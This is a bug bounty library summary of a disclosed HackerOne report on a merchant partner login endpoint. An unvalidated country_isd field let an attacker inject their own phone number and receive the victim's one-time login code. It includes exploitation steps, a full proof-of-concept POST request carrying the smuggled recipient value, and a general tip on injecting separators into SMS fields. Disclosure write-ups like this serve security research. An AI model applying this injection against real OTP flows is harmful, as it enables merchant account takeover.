# Improper Validation at Partners Login

Unvalidated country_isd parameter was concatenated into the SMS recipient, letting an attacker inject their own number and receive the victim merchant's OTP.

- Payout: $2,000
- Severity: critical
- Program: Eternal
- Found by: ashoka_rao
- Disclosed: 2021-10-06
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/990048
- Library page: https://bugbountylibrary.com/r/h1%3A990048
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:critical tech:rest technique:param-pollution vuln:access-control vuln:auth-bypass vuln:business-logic

**Target:** Merchant partner login OTP endpoint (/merchant-api/dining/merchant-login/v1/send-otp)
**Root cause:** Backend appended the user-controlled country_isd value to phone_number before passing to the SMS provider without validating it as a country code; the SMS provider treats space-separated numbers as multiple recipients.
**Steps:**
1. Send `POST /merchant-api/dining/merchant-login/v1/send-otp` with JSON body `{"res_id":"<victim>","country_isd":"918888888888,","phone_number":"<victim_number>"}`
2. Backend concatenates to `918888888888,<victim_number>` and submits to SMS provider
3. SMS provider splits on space/comma and delivers OTP to both attacker number and victim number
4. Attacker reads OTP from own SMS and logs in as victim merchant
**How found:** Researcher noticed country_isd was reflected into the SMS recipient without validation and hypothesized the SMS provider would parse multiple numbers from the concatenated string.
**Exploitation:** Attacker submits the send-otp request with country_isd set to their own number plus a separator; the OTP SMS is delivered to the attacker's phone alongside the victim's, enabling merchant account takeover via the login OTP flow.
**Insight:** When a phone/SMS field is composed from multiple user-controlled parts, test injecting separators (space, comma, semicolon) into each part to see if the SMS gateway treats the result as multiple recipients.

## Proof of concept (copied exactly from the original report)

**POST send-otp request with injected country_isd**

```
POST /merchant-api/dining/merchant-login/v1/send-otp HTTP/1.1
Host: www.zomato.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-zomato-csrft: CSRF
x-zomato-app-version: 2
services-access-token:
Content-Length: 79
Origin: https://www.zomato.com
Connection: close
Referer: https://www.zomato.com/partners
Cookie: XXXXXXX

{"res_id":"XXXXXXXX","country_isd":"918888888888,","phone_number":"XXXXXXXXXX"}
```

